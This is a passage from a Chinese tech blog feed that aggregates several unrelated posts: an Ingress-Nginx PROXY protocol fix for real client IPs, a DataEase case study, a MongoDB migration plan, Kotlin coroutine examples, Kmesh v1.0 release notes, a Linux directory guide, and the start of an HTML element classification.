$remote_addr - $remote_user [$time_iso8601] $msec "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" $request_length $request_time [$proxy_upstream_name] [$proxy_alternative_upstream_name] [$upstream_addr] [$upstream_response_length] [$upstream_response_time] [$upstream_status] $req_id

为了查看 Ingress-Nginx Controller 接收到的请求头中的客户端 IP 地址,在上面的日志格式后面加上 $http_x_forwarded_for 即可。

查看 Ingress-Nginx Controller 的日志(Pod 中的 /var/log/nginx/nginx_access.log 文件),可以发现 $http_x_forwarded_for 确实是客户端的真实 IP。这说明 CLB 本身的转发没有问题。

tail -fn 100 /var/log/nginx/nginx_access.log

查看 Ingress-Nginx Controller 的 nginx.conf 文件(/etc/nginx/nginx.conf),可以看到如下配置:

proxy_set_header X-Request-ID           $req_id;
proxy_set_header X-Real-IP              $remote_addr;

proxy_set_header X-Forwarded-For        $remote_addr;

# Pass the original X-Forwarded-For
proxy_set_header X-Original-Forwarded-For $http_x_forwarded_for;

其中 X-Real-IPX-Forwarded-For 都被设置为 $remote_addr(这里按说应该是 CLB 的 内网 IP,但不知道为什么有时候会是 TKE 节点的内网 IP),而实际的客户端 IP $http_x_forwarded_for 被设置到了一个自定义的 Header X-Original-Forwarded-For 上。如果应用能获取到这个自定义的 Header 也可以,但不知道为什么应用这边的 Request 中没有看到这个 Header。

最后还是在 官网文档 中找到了解决办法:启用 PROXY protocol

Question - How to obtain the real-client-ipaddress ?

The goto solution for retaining the real-client IPaddress is to enable PROXY protocol.

Enabling PROXY protocol has to be done on both, the Ingress NGINX controller, as well as the L4 load balancer, in front of the controller.

The real-client IP address is lost by default, when traffic is forwarded over the network. But enabling PROXY protocol ensures that the connection details are retained and hence the real-client IP address doesn't get lost.

Enabling proxy-protocol on the controller is documented here .

For enabling proxy-protocol on the LoadBalancer, please refer to the documentation of your infrastructure provider because that is where the LB is provisioned.

Some more info available here

Some more info on proxy-protocol is here

对于 Ingress-Nginx Controller 来说只需要在 ConfigMap 添加如下配置即可:

apiVersion: v1
data:
  enable-real-ip: "true" // [!code ++]
  use-proxy-protocol: "true" // [!code ++]
kind: ConfigMap

同时,L4 负载均衡器上也需要开启 PROXY protocol,否则会导致所有请求都失败。

CLB 开启 ProxyProtocol 配置需要先提工单开通1,而且传统账号需要先升级为标准账号2。之后就可以在监听器的编辑页面的高级选项中看到该配置项了。

[!DANGER] 注意

  • 由于两边需要分别配置,请求会有短暂的中断,建议在流量较小的时候进行配置。 虽然页面上有提示“不支持在线平滑迁移”,但这边实际操作的时候,两边(CLB 和 Ingress-Nginx Controller)修改配置后几乎都是立即就生效了。
  • TKE 不再支持创建新的 Ingress-Nginx Controller 实例3

Footnotes

  1. 配置 TCP 监听器

  2. 账户类型说明

  3. NginxIngress 扩展组件停止更新公告

by 佳佳_ at January 24, 2025 02:31 AM

juejin frontend

案例研究丨浪潮云洲通过DataEase推进多维度数据可视化建设

浪潮云洲工业互联网有限公司(以下简称为“浪潮云洲”)成立于2018年,定位于工业数字基础设施建设商、具有国际影响力的工业互联网平台运营商、生产性互联网头部服务商。截至目前,浪潮云洲工业互联网平台连续五年入选跨行业跨领域工业互联网平台,位居国家工业互联网平台第一梯队。

图片

一、数据分析需求与挑战

浪潮云洲作为一家制造业智能化转型综合服务商,在经营过程中,企业内部的工业安全产品部门需要对内部数据进行分析展示;同时,企业外部的客户也需要其提供相关的数据分析服务。

具体来说,浪潮云洲在日常的经营活动中需要结合物联网平台和数字化平台(基于物联网平台制作的应用)进行数据分析并展示;也需要为客户提供数据分析相关的SaaS服务,并且按照客户需求配置相关的数据权限;在满足数据分析展示需求的前提下,浪潮云洲还需要考虑成本问题,希望有效降低数据分析服务的开发成本,并且缩短项目交付的时间周期。

二、为什么选择DataEase?

在初期调研阶段对比了帆软的FineBI、阿里的QuickBI等多款BI产品后,浪潮云洲最终选择了DataEase开源BI工具,作为其实现数据可视化的生产力工具。选择DataEase的主要原因有:

丰富的数据源支持,满足当前的数据库接入需求以及未来可能面临的客户需求

浪潮云洲当前需要对接的数据源主要来自于物联网平台和数字化平台所使用的数据库,主要包括MySQL和PostgreSQL这两种数据库类型,后续客户可能还会有其他类型的数据源接入需求。DataEase能够接入OLAP、OLTP等多种类型的数据库,很好地满足了浪潮云洲的数据库接入需求;

多租户隔离,满足SaaS服务交付需要

浪潮云洲项目交付的客户多为制造业客户,技术能力相对薄弱,交付SaaS服务的场景居多。DataEase针对租户隔离的场景支持满足了浪潮云洲的交付需求;

数据权限控制,满足数据权限管控要求

针对于浪潮云洲的实际使用场景,内部人员账号和客户演示账号需要设定不同的数据查看权限,因此需要对数据权限进行控制。DataEase支持细粒度的行、列级别权限控制,可以控制不同账号的菜单权限、资源权限,让不同账号在查看同一个大屏时可以看到不同的数据;

简单易用,学习成本低,使用成本低

DataEase是一款人人可用的开源BI工具,简单易用,用户的学习成本和使用成本低,可以实现快速上手,非常贴合用户诉求。

三、应用DataEase实现的数据可视化成果

  1. 浪潮云洲使用DataEase模板市场提供的模板进行大屏制作,无需调整样式,就可以方便、高效、快捷地生成数据可视化大屏。

图片

▲图1 浪潮云洲使用DataEase模板市场的模板制作的仪表板

图片

▲图2 DataEase模板市场提供了200多款行业模板

  1. 浪潮云洲通过DataEase制作的数据大屏,帮助其客户实现了销售、供应链、库存、生产等业务数据的监控和分析,并且可以在客户现场通过大屏投放进行展示。

图片

▲图3 客户现场投放数据大屏

  1. DataEase的引入降低了浪潮云洲的开发工作量,项目交付周期显著缩短,极大地提升了交付效率,快速响应项目需求。

在引入DataEase之前,浪潮云洲通过定制化开发的方式满足客户的数据可视化需求。定制化开发完成后,项目交付客户进行审核,审核不通过则需要修改代码再次进行开发,开发完成后再次审核,直至审核通过。这样的流程一方面会导致开发成本过高,交付周期过长。另一方面,不同项目的数据可视化需求不同,单次开发的页面无法复用,每个项目的数据大屏都需要进行定制化开发。

图片

▲图4 引入DataEase前的交付流程图

引入DataEase后,浪潮云洲可以通过DataEase直接配置好需要的数据可视化大屏。大屏配置完成后交付客户审核,若审核不通过,只需要通过简单的拖拉拽操作修改仪表板配置即可,无需修改代码,修改完成后提交给客户再次审核,直至审核通过。另外,一个项目对接完成后,其他项目也可以复用这个成功案例。针对其他项目的需求变更,项目组只需要对DataEase仪表板配置进行调整,无需进行二次开发,开发成本大幅降低,交付效率明显提升。

图片

▲图5 引入DataEase后的交付流程图

  1. DataEase的权限管理功能满足了浪潮云洲对数据权限的控制需求,通过权限配置让不同的用户看到不同的菜单以及数据。

图片

▲图6 DataEase的资源权限配置页面

图片

▲图7 DataEase的菜单权限配置页面

四、DataEase带来的收益

通过使用DataEase,浪潮云洲在数据管理和数据分析方面的能力均获得了显著提升。在低成本投入的前提下,通过高效、多维度的数据展示提升了客户满意度,更好地用数据服务于业务和客户。总结来说,浪潮云洲通过DataEase获得的收益包括:

开发成本降低,交付效率提升

在DataEase的帮助下,浪潮云洲的业务交付从原有的定制开发模式成功转变为灵活的拖拉拽配置实现方案。

在引入DataEase之前,向客户交付数据分析大屏的需求主要依赖于定制化开发,每个数据分析大屏开发的时间约为两周,其中数据抽取与处理工作耗时一周,大屏的开发调试工作耗时一周。引入DataEase之后,开发大屏的总体时间成本降低至3到5天(含数据抽取的时间),其中通过拖拉拽配置的方式制作大屏只需要1天的时间,节省了近80%的开发时间成本投入;

实现SaaS场景交付

DataEase提供的多租户隔离体系,满足了客户对SaaS服务交付的场景需求。浪潮云洲只需要给客户开通DataEase的账号分配权限即可,无需客户单独部署BI工具,节约了服务器部署和维护的成本;

数据权限隔离控制

通过DataEase的权限管理功能,浪潮云洲可以针对内部人员账号和客户演示账号分配不同的数据查看权限,实现了对不同账号的菜单权限、资源权限的控制;

项目需求响应速度显著提升

使用DataEase后,浪潮云洲可以借助DataEase模板市场提供的丰富模板进行大屏制作,无需自行设计调整样式,项目推进更加高效和快捷。针对客户提出的多维度数据分析需求,浪潮云洲能够快速通过大屏制作的方式进行满足,极大地提升了项目需求响应的速度,提高了客户的服务满意度。

by FIT2CLOUD飞致云 at January 24, 2025 02:27 AM

juejin backend

一次线上生产库的全流程切换完整方案

一、现状梳理

本篇介绍了一次数据库迁移的完整方案。 本次需要改造的系统为一个较为陈旧的技术栈系统,其中MongoDB作为核心数据存储中间件,承担着存储全部核心数据的重要任务。该系统目前的配置为1主1副本模式,涉及1个数据库和2张表,服务于7个不同的应用。尽管系统架构相对简单,但其在日常运营中发挥着不可或缺的作用。目前需要将MongoDB存储在其它介质中,如何能够保障在不影响线上使用的情况下,平滑切流到新库,是本文主要探讨的问题。

二、迁移方案

2.1 迁移节奏

整体节奏分为

1.梳理范围,因为系统内不仅有mongo还同时有mysql数据源,需要梳理出使用mongo的所有业务范围

2.确定好原有的数据,应该存储在哪个介质中,确定好存储标准,需要能够cover住原有的所有业务,包括读写性能

3.对原有数据结构的DAO层进行改造

4.需要对数据进行双写并进行数据迁移

5.R2流量验证/测试回归/数据比对 进行验证

6.切量:放量节奏







2.2 代码改造/数据异构

采用装饰器模式,统一控制双写逻辑(主写,辅写),统一控制切量逻辑,下线逻辑, 抽取代码中原有的直接调用底层mongodb API的代码,将其不改业务逻辑的情况下迁移到Dao层。这样做的目的是为了后续做切流适配逻辑。不改逻辑及出入参的目的是为了避免对当前业务造成影响。

选用数据源的依据为

特性JimKVHBase
优势- 支持多存储引擎(SSD、AEP)- 基于 Raft 协议的强一致性和多机房容灾
- 完善的运维监控和弹性伸缩能力
- 支持PB级别的存储容量- 云原生架构,支持单集群和主备集群
- 高吞吐性能,适合写密集型应用
劣势- 由于Raft协议,写性能低于JimDB- 故障恢复时间较长,约1—2分钟
适用场景- 数据一致性和可靠性要求高- 数据存储量大- 读流量大于写流量- 存储量非常大(PB级别)- 写密集且性能要求高的场景
技术选型推荐理由- JimKV满足存储量和吞吐量要求- 数据一致性和可靠性优于HBase
- 适合读流量大于写流量的应用场景
- 适用于存储量极大的场景,但对一致性要求较高的场景不如JimKV适合

基于以上原则,我们选用JImKV(京东自研中间件),Mysql和ES作为MongoDB的替换的数据源,数据源切换Dao层的改造方式如下:







2.3 存量数据迁移

方案是否可实现难度
使用大数据抽数任务
使用代码异步任务的方式
DRC同步从mongo到数据库不支持

考虑整体的数据量并不大单表300w,通过大数据离线表的方式效率并不高,通过代码更加的灵活,可以随时调整速度和范围存量数据分了两部分1、已经审核通过,申请单不会在有任何变更,可以随时迁移,比对2、申请单处于过程中的数据,数据随时会变更。凌晨迁移,打开双写







2.4 增量数据同步

创建申请单和更新不包含状态字段时的操作

先写mongo再写mysql,以mongo写入成功为准,写mysql失败,mq异步补偿











三、上线三板斧(灰度/监控/回滚)

本章节主要探讨在进行数据迁移和代码改造这些基础工作完成之后,如何保障上线没有线上问题,如何保障平滑切流和听写,工作主要聚焦于上线三板斧,可灰度,可回滚,可监控等方面,具体工作如下:

3.1 可监控(数据对比读逻辑)

增量数据比对

双写数据完成后发送MQ,消息里面查询新库,老库的数据进行实时比对,不一致数据记录不一致字段,关键字业务报警,写入日志文件,导出分析

存量数据比对

遍历全量老库数据,与新库查出数据,转换成相同对象对比数据一致性,异常数据写入日志文件分析





3.2 可监控(对比读逻辑)

对比逻辑,引入R2流量回放对比,提高对比速度,







3.3 可灰度(灰度切量读)

读切流,按照供应商和采销白名单+百分比来切流





切流时,由于需要根据pin对流量分散,但是不在同一线程内,使用threadlocal对商户信息进行设置和读取





3.4 可回滚(灰度切量写)

写切流 分为四步

1.首先验证 写新库没问题 相当于对新加代码进行灰度 如果有问题 进行回切

2.当验证写新库没问题,需要补齐数据库数据

3.当数据补齐后 转换为主写新库

4.后续如果读写新库都没问题 可以彻底下线旧库存







四、总结

本文详细梳理了线上生产环境的全流程,包括迁移和切换的灰度方案对比。在数据源选型方面,根据实际业务需求选择合适的中间件是整个工作的基石。在代码改造和数据异构方面,选择恰当的设计模式和合理的架构方案是关键所在。存量数据迁移和增量数据同步是不可或缺的步骤。上线过程中,确保系统具备可监控、可回滚和可灰度的能力,是实现平滑切换的保障。欢迎各位同学与我交流探讨。

by 京东零售技术 at January 24, 2025 02:21 AM

juejin android

使用 Kotlin 协程优化网络请求

场景描述

假设我们正在开发一款新闻阅读应用,该应用需要从网络获取新闻数据并展示给用户。我们将分别使用传统回调方法和 Kotlin 协程来实现这一功能,并对比两者的优缺点。

传统回调方法

在传统的 Android 开发中,网络请求通常通过回调方法来实现。这种方法虽然有效,但代码容易变得复杂和难以维护。

示例代码

// Retrofit API接口定义
interface ApiService {
    @GET("news")
    fun getNews(callback: Callback<List<NewsArticle>>)
}

// 新闻文章数据类
data class NewsArticle(val id: Int, val title: String, val content: String)

// 实现网络请求的函数
fun fetchNews() {
    val retrofit = Retrofit.Builder()
        .baseUrl("https://example.com/api/")
        .addConverterFactory(GsonConverterFactory.create())
        .build()

    val apiService = retrofit.create(ApiService::class.java)

    apiService.getNews(object : Callback<List<NewsArticle>> {
        override fun onResponse(call: Call<List<NewsArticle>>, response: Response<List<NewsArticle>>) {
            if (response.isSuccessful) {
                val newsArticles = response.body()
                // 更新UI
                updateUI(newsArticles)
            } else {
                // 处理错误
                showError("Response failed")
            }
        }

        override fun onFailure(call: Call<List<NewsArticle>>, t: Throwable) {
            // 处理错误
            showError(t.message ?: "Unknown error")
        }
    })
}

fun updateUI(newsArticles: List<NewsArticle>?) {
    // 更新UI逻辑
}

fun showError(message: String) {
    // 显示错误信息
}

Kotlin 协程方法

使用 Kotlin 协程可以使代码更加简洁和易于维护。协程允许我们以同步的方式编写异步代码,从而避免回调地狱。

示例代码

import kotlinx.coroutines.*
import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory
import retrofit2.http.GET

// Retrofit API接口定义
interface ApiService {
    @GET("news")
    suspend fun getNews(): List<NewsArticle>
}

// 新闻文章数据类
data class NewsArticle(val id: Int, val title: String, val content: String)

// 使用协程进行网络请求的函数
fun fetchNews() {
    val retrofit = Retrofit.Builder()
        .baseUrl("https://example.com/api/")
        .addConverterFactory(GsonConverterFactory.create())
        .build()

    val apiService = retrofit.create(ApiService::class.java)

    GlobalScope.launch(Dispatchers.Main) {
        try {
            val newsArticles = withContext(Dispatchers.IO) {
                apiService.getNews()
            }
            // 更新UI
            updateUI(newsArticles)
        } catch (e: Exception) {
            // 处理错误
            showError(e.message ?: "Unknown error")
        }
    }
}

fun updateUI(newsArticles: List<NewsArticle>?) {
    // 更新UI逻辑
}

fun showError(message: String) {
    // 显示错误信息
}

优缺点对比

传统回调方法

优点:

  1. 简单直接:适用于简单的异步任务和小型项目。
  2. 无需额外依赖:不需要额外库,只依赖于 Retrofit 和 Android 内置的回调机制。

缺点:

  1. 可读性差:多个嵌套回调容易导致回调地狱,代码难以阅读和维护。
  2. 错误处理分散:每个回调都需要单独处理错误,导致代码分散。
  3. 线程管理复杂:需要手动管理线程切换,增加了代码复杂度。

Kotlin 协程方法

优点:

  1. 简洁明了:代码结构更清晰,类似于同步代码的写法,避免了回调地狱。
  2. 集中错误处理:可以使用 try-catch 统一处理异常,错误处理更集中。
  3. 自动线程管理:使用 withContext 可以轻松切换线程,简化了线程管理。
  4. 高效:协程是轻量级线程,不会阻塞主线程,提高了性能。

缺点:

  1. 学习成本:需要学习和理解协程的概念和使用方法,对于新手可能有一定的学习曲线。
  2. 依赖库:需要依赖 kotlinx.coroutines 库。

真实事例效果和特点

通过使用 Kotlin 协程,我们可以显著简化异步编程,提升代码质量和开发效率。以下是一个结合 ViewModel 和 Room 数据库的更完整示例,展示了如何在实际项目中使用协程:

import android.app.Application
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.viewModelScope
import androidx.room.*
import kotlinx.coroutines.launch
import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory
import retrofit2.http.GET

// 数据库实体
@Entity
data class NewsArticle(
    @PrimaryKey val id: Int,
    val title: String,
    val content: String
)

// DAO接口
@Dao
interface NewsArticleDao {
    @Query("SELECT * FROM newsarticle")
    suspend fun getAll(): List<NewsArticle>

    @Insert(onConflict = OnConflictStrategy.REPLACE)
    suspend fun insertAll(articles: List<NewsArticle>)
}

// 数据库
@Database(entities = [NewsArticle::class], version = 1)
abstract class AppDatabase : RoomDatabase() {
    abstract fun newsArticleDao(): NewsArticleDao
}

// Retrofit API接口
interface ApiService {
    @GET("news")
    suspend fun getNews(): List<NewsArticle>
}

object RetrofitClient {
    private const val BASE_URL = "https://example.com/api/"

    val instance: ApiService by lazy {
        val retrofit = Retrofit.Builder()
            .baseUrl(BASE_URL)
            .addConverterFactory(GsonConverterFactory.create())
            .build()

        retrofit.create(ApiService::class.java)
    }
}

// ViewModel
class NewsViewModel(application: Application) : AndroidViewModel(application) {

    private val newsArticleDao: NewsArticleDao = Room.databaseBuilder(
        application,
        AppDatabase::class.java, "news-database"
    ).build().newsArticleDao()

    val newsArticles = MutableLiveData<List<NewsArticle>>()

    fun fetchNews() {
        viewModelScope.launch {
            try {
                // 从网络获取数据
                val articles = withContext(Dispatchers.IO) {
                    RetrofitClient.instance.getNews()
                }
                // 将数据保存到本地数据库
                newsArticleDao.insertAll(articles)
                // 从数据库读取数据并更新UI
                newsArticles.postValue(newsArticleDao.getAll())
            } catch (e: Exception) {
                // 处理错误
                showError(e.message ?: "Unknown error")
            }
        }
    }

    private fun showError(message: String) {
        // 显示错误信息
    }
}

结论

通过对比传统回调方法和 Kotlin 协程方法的优缺点,我们可以看到协程在简洁性、错误处理、线程管理和性能方面都有显著优势。然而,协程也有一定的学习曲线和依赖库的问题。因此,在实际项目中,选择合适的方法需要根据项目的复杂度和团队的技术能力来决定。

by 用户6795812658209 at January 24, 2025 02:19 AM

juejin article

Kmesh v1.0正式发布!稳定易用的高性能Sidecarless服务网格

2025 新年伊始,我们非常高兴地宣布 Kmesh v1.0 版本[1]正式发布。在此,我们对 Kmesh 社区[2] 所有贡献者在过去三个月中的不懈努力和辛勤工作表示衷心的感谢。正是因为大家的共同努力,Kmesh 才能顺利推出这一重要版本。

kmesh.png

在本次发布的 v1.0 版本中,Kmesh 对东西向流量治理功能进行了重大改进,提升了整体网络流量管理的效率和安全性。这些改进不仅优化了数据传输的稳定性,还为用户提供了更加丰富的流量治理能力。此外,我们还持续优化了 Kmesh 的易用性,使其更加友好和直观,方便用户快速上手和使用。

Kmesh v1.0 版本主要特性

加密通信

为保障节点间通信的安全,Kmesh 在v1.0版本引入了 IPsec 对节点间的流量进行加密,使流量传输过程中明文变密文,确保了节点间通讯的信息安全。整体架构图如下图所示:

1.png

IPSec 作为一种成熟、稳定且高度安全的加密协议,被广泛应用于各种网络环境。它不仅为节点间的通信提供加密,还支持对不同协议的数据进行加密。Kmesh 仅使用 IPSec 的加密功能,如上图所示,用户在 Kubernetes 中设置 IPsec 的预共享密钥之后,Kmesh 对这个密钥进行管理保证 IPsec 的正常通信。

此外为精细化控制 IPsec 的加密行为,Kmesh 通过 KmeshNodeInfo CRD 存储节点信息,借助 Kubernetes api-server 进行节点间的信息同步。确保集群节点间通讯的安全性。

借助 IPSec,Kmesh 不仅实现了节点间通信的加密功能,还确保了数据在传输过程中的机密性和完整性,从而有效防止数据被窃听、篡改或伪造。通过结合 Kubernetes 的灵活性和 CRD(自定义资源定义)的扩展能力,Kmesh 能够在复杂的集群环境中高效地管理加密密钥,并动态同步节点信息,进一步提升了整个系统的安全性和可靠性。

将 Authorization 策略执行下沉到 XDP 程序中

在 Kmesh v0.5.0 版本 中,Kmesh 已经将 authorization 的部分功能下沉到 XDP 程序中执行。在 v1.0.0 版本我们将更多的 authorization 能力下沉到 XDP 中,现已经支持基于IP的 authorization 处理。整体的处理流程图如下图所示:

2.png

Kmesh 将 authorization 的处理分成 policy、rule、clause 和 match 四步处理,将它们通过 tail-call 机制进行串联。整个 authorization 的处理会在 TCP 建链的的时候进行,如果通过鉴权,流量将通过协议栈发送到对应的 IP 地址;如果没通过鉴权,则会丢弃 SYN 包,阻止 TCP 链接建立。

通过将 authorization下沉到 XDP 程序中,Kmesh 能够在网络数据包进入内核协议栈的最早阶段进行鉴权处理。这种方式不仅显著减少了用户态与内核态之间的上下文切换开销,还能够极大提升数据包处理的效率,从而实现高速、低延迟的鉴权。同时,这种设计确保了未通过鉴权的数据包在协议栈中被直接丢弃,有效降低了系统资源的消耗,进一步增强了系统的安全性和性能。Kmesh 在之后的版本计划中,会将更多的 authorization 功能下沉到 XDP Prog 当中,欢迎大家对相关的 authorization 提出自己的需求,以便社区制定迭代计划。

基于地域的负载均衡

在v1.0.0版本,Kmesh具备了基于地域的负载均衡能力。基于地域的负载均衡是分布式系统中性能和可靠性的关键优化。通过将流量路由到地域优先级最高的服务实例,减少延迟,增加可用性。Kmesh 的基于地域的负载均衡的匹配示例如下所示:

3.png

图中的1、2、3、4表示 client 访问 service 的优先级。当访问服务时,会先根据 sub-zone,zone,region 的匹配程度先计算优先级,再确定访问哪个服务。通过在用户态存储的基于地域的优先级信息更新 service map 中的信息。bpf 程序根据 service map 中的优先级信息选择对应的 endpoint 建立链接。此外 Kmesh 在负载均衡策略更新期间会对 endpoint map 中的 endpoint_key 逐一进行更新,以确保更新期间服务的连续性。Kmesh 现提供 region、zone、subZone、nodeName 和 clusterID 五种不同粒度的地域负载均衡。使用户能够灵活的配置适合自己的负载均衡策略。

在有基于地域的负载均衡能力之后,Kmesh 能够更智能地将流量引导至地理位置最优的节点,从而减少延迟并提高服务性能。这样一来,用户请求可以更快速地得到响应,尤其对于跨地域的大型分布式应用来说,能够显著提升整体用户体验和网络性能。

可观测性优化

为提升 Kmesh 的易用性,在 v1.0 版本中对 Kmesh 的可观测性也进行了贴近用户需求的优化。

在 Metrics 中,Kmesh 优化了 metrics labels,将 destination_service 从原本的 socket 中的 destination 替换成本次请求最终的 destination 。原先经过 waypoint 的 source 访问 destination 的请求会分成 source->waypoint 和 waypoint->destination 两条 metrics 。使 destination 的信息都呈现为 waypoint 的信息。

before release v1.0
# destination_service_name is `reviews` instead of `reviews-svc-waypoint
kmesh_tcp_connections_closed_total{destination_app="reviews-svc-waypoint",destination_service="reviews-svc-waypoint"...} 14

当有多个服务共用一个waypoint的时候,这样的metrics会使用户感到困惑。但在v1.0.0版本中,Kmesh metrics的destination_service将始终记录最终destination信息。呈现的metrics为:

release v1.0
# destination_service_name is `reviews` instead of `reviews-svc-waypoint`
kmesh_tcp_connections_closed_total{destination_app="reviews-svc-waypoint",destination_service_name="reviews"...} 14

这样修改,一条 metrics 就能够包含本次链接的 destination 信息和最终 destination 信息。使呈现的 metrics 更加合理易懂,提升了 Kmesh 可观测数据的整体清晰度和可用性。此外 Kmesh 还与 kiali 一起,为用户呈现清晰直观的服务拓扑图:

4.png

借助服务拓扑图,用户能够全面了解集群中各个服务之间的依赖关系和通信状态,从而更容易地监控和诊断网络状况。用户还可以识别潜在的性能瓶颈和故障点,进行优化和故障排除,提高整个系统的可靠性和性能。

全模式无中断重启

在 v1.0.0 版本, Kmesh 的 Kernel-Native 模式也提供了流量重启无中断的能力。可以在重启后优雅的加载 eBPF map 和 Prog,且不需要再重启后重新注册服务。实现了Kmesh全模式下重启不中断流量,不影响服务的目标。

5.png

与 Dual-Engine 模式一样,通过将 eBPF Prog 和 map pin 到内核目录中,使其与 kmesh-daemon 解耦,确保 eBPF map 和 Prog 在 Kmesh 关闭的时候也能够对流量进行治理。确保在 Kmesh 重启的这段时间中服务不中断。

如果在 Kmesh 重启的这段时间中有配置的更新,Kmesh 在重启之后,也会从 istiod 中获取最新的配置,确保在重启后的第一时间进行信息的同步。

相较于传统 Service Mesh 在重启过程中中断服务流量的情况,Kmesh 的设计避免了在重启期间对业务流量产生影响,确保了服务的连续性和稳定性,提供了更可靠高可用的系统,减少了服务中断的风险,提升了用户体验。此外在后续计划中,Kmesh 会支持无中断升级,确保在 Kmesh 升级的时候也能不干扰业务流量,解决困扰用户想使用网格新的功能又不敢升级网格的问题。

熔断与限流

注意: 此特性仅适用于[Kernel-Native Mode]

Kmesh 在 v1.0.0 版本为 Kernel-Native 模式引入熔断和限流功能。在 Kernel-Native 模式保证低延迟高并发高负载的情况下,确保系统的稳定性和可靠性。Kmesh 的 Kernel-Native 模式追求极致的性能,但此前的功能较少,后续我们会在确保 Kernel-Native 模式性能的情况下,提供更为丰富的功能。

支持Headless Service和ServiceEntry和适配istio 1.24

Kmesh v1.0.0 中已经适配了Istio 1.24 版本,并且通过 e2e 测试保证了 Kmesh在 Istio 1.24 版本中的稳定性。目前在 Kmesh 社区中通过 e2e 测试,确保 Kmesh 在 Istio 1.22, 1.23, 1.24 版本的稳定性。此外我们还与 Istio 1.24 版本的 Ambient Mesh进行了性能方面的对比(当Kmesh遇上Ambient Mesh[3])总体来说。Kmesh 在时延和吞吐量两个维度上来说,相较于Ambient Mesh更胜一筹。

除了适配最新的 Istio 之外,Kmesh还支持了 Headless Service 和 ServiceEntry 的部分能力。

 致  谢 

我们衷心感谢 Kmesh[4] 社区的所有贡献者,Kmesh v1.0.0 的成功发布是整个团队集体努力的证明。这不仅包括通过 OSPP 参与社区开发的学生,还包括来自华为、阿里、Tetrate 等公司的其他所有热心的开源开发者们。正是大家的共同努力,促使 Kmesh 社区蓬勃发展、欣欣向荣。

我们也热烈欢迎新的开发者和用户加入 Kmesh 社区。只有在大家的持续参与和支持下,我们才能不断创新和进步,共同推动 Kmesh 走向更加辉煌的未来。通过协作与分享,我们期待在 Kmesh 社区中实现更多技术突破和应用场景,为大家提供更加优秀的 Sidecarless 服务网格解决方案

参考资料

[1] Kmesh v1.0 版本: github.com/kmesh-net/k…

[2] Kmesh GitHub: github.com/kmesh-net/k…

[3] 当Kmesh遇上Ambient Mesh: bbs.huaweicloud.com/blogs/44256…

[4] Kmesh Website: kmesh.net/en/

by 容器魔方 at January 24, 2025 02:15 AM

juejin backend

每天一个技术知识:Linux的目录结构

大家好,我是大澈!

今天一起整理整理,Linux系统目录结构的基础知识,要多用不要硬记,兄弟们走起吧。

图片

一、常见的目录结构一览

Linux系统中,所有东西都归结为一个文件,包括命令、硬件和软件设备、操作系统、进程等等。对于操作系统内核而言,都被视为拥有各自特性或类型的文件,每个文件都有确定的用途。

下面是Linux常见的文件目录结构,不同版本的Linux文件目录结构可能略有不同。

图片

1. / (根目录)

   - 所有目录和文件的起点。

   - 包含整个文件系统的顶层结构。

2. /bin (二进制文件)

   - 存放系统启动和运行所需的基本命令(如 ls, cp, mv 等)。

   - 所有用户均可使用。

3. /boot (启动文件)

   - 包含启动加载器(如 GRUB)和内核文件(如 vmlinuz)。

   - 系统启动时所需的文件。

4. /dev (设备文件)

   - 包含硬件设备的文件(如 /dev/sda 表示硬盘,/dev/tty 表示终端)。

   - 通过文件与硬件交互。

5. /etc (配置文件)

   - 存放系统全局配置文件(如 /etc/passwd, /etc/fstab)。

   - 包含网络配置、用户管理、服务配置等。

 6. /home (用户主目录)

   - 每个用户的主目录(如 /home/username)。

   - 用户个人文件和配置的存储位置。

7. /lib (库文件)

   - 存放系统启动和运行所需的基本共享库(如 C 库)。

   - /lib64 用于 64 位系统。

8. /media (可移动设备挂载点)

   - 自动挂载可移动设备(如 U 盘、光盘)的目录。

9. /mnt (临时挂载点)

   - 用于手动挂载文件系统(如网络共享、临时分区)。

10. /opt (可选软件)

   - 存放第三方或可选软件(如大型商业软件)。

11. /proc (进程信息)

   - 虚拟文件系统,包含内核和进程的实时信息(如 /proc/cpuinfo 显示 CPU 信息)。

12. /root (root 用户主目录)

   - root 用户的主目录,非 /home 下。

13. /run (运行时数据)

   - 存放系统运行时的临时文件(如 PID 文件、套接字文件)。

14. /sbin (系统二进制文件)

   - 存放系统管理命令(如 fdisk, ifconfig),通常需要 root 权限。

15. /srv (服务数据)

   - 存放服务相关的数据(如 Web 服务器的网站文件)。

16. /sys (系统信息)

   - 虚拟文件系统,提供内核和设备的信息。

17. /tmp (临时文件)

   - 存放临时文件,系统重启后可能被删除。

18. /usr (用户程序)

   - 存放用户安装的应用程序和文件(如 /usr/bin, /usr/lib, /usr/share)。

19. /var (可变数据)

   - 存放经常变化的文件(如日志 /var/log,邮件 /var/mail,数据库 /var/lib)。

20. /lost+found (恢复文件)

   - 文件系统修复后,恢复的文件会存放在此。

二、目录实用总结

经常使用的目录:/root (root 用户主目录)、/home (用户主目录)、/opt (可选软件)。

间接自动产生文件的目录:/run (运行时数据)、/srv (服务数据)、/tmp (临时文件)、/usr (用户程序)、/var (可变数据)。

不常用但调节特定内容时使用的目录:/bin (二进制文件)、/sbin (系统二进制文件)、/etc (配置文件)、/media (可移动设备挂载点)、/mnt (临时挂载点)。

不要轻易改动的目录:/boot (启动文件)、/dev (设备文件)、/lib (库文件)、/proc (进程信息)、/sys (系统信息)、/lost+found (恢复文件)。

- end -

承接产品推广/软件开发/bug修复,联系和更多内容在绿色App搜@程序员大澈:专注于前后端技术知识分享,最后感谢兄弟们给个点赞、分享、推荐!

by 程序员大澈 at January 24, 2025 02:13 AM

juejin frontend

每天一个技术知识:“高手”的Html元素分类

大家好,我是大澈!

今天又是一起复盘Html基础的一天,兄弟们,走起。

图片

一、按语义分类

根据元素的语义定义,HTML元素可以分为:文档结构元素、文本内容元素、多媒体元素、表单元素、表格元素。

主要是记住元素分类,元素了解即可,并记住几个典型常用的。

1、文档结构元素:用于定义页面的整体结构。

html:根元素,包含整个 HTML 文档。

head:包含元数据(如标题、样式表、脚本等)。

body:包含页面的可见内容。

header:页眉,通常包含导航或标题。

footer:页脚,通常包含版权信息或联系方式。

main:页面的主要内容区域。

section:定义文档中的独立部分。

article:定义独立的内容块(如博客文章)。

aside:定义与主要内容相关但独立的内容(如侧边栏)。

nav:定义导航链接。

2、文本内容元素:用于定义文本内容的结构。

div:通用文本容器,无语义。

h1 到 h6:标题标签,h1 是最高级标题。

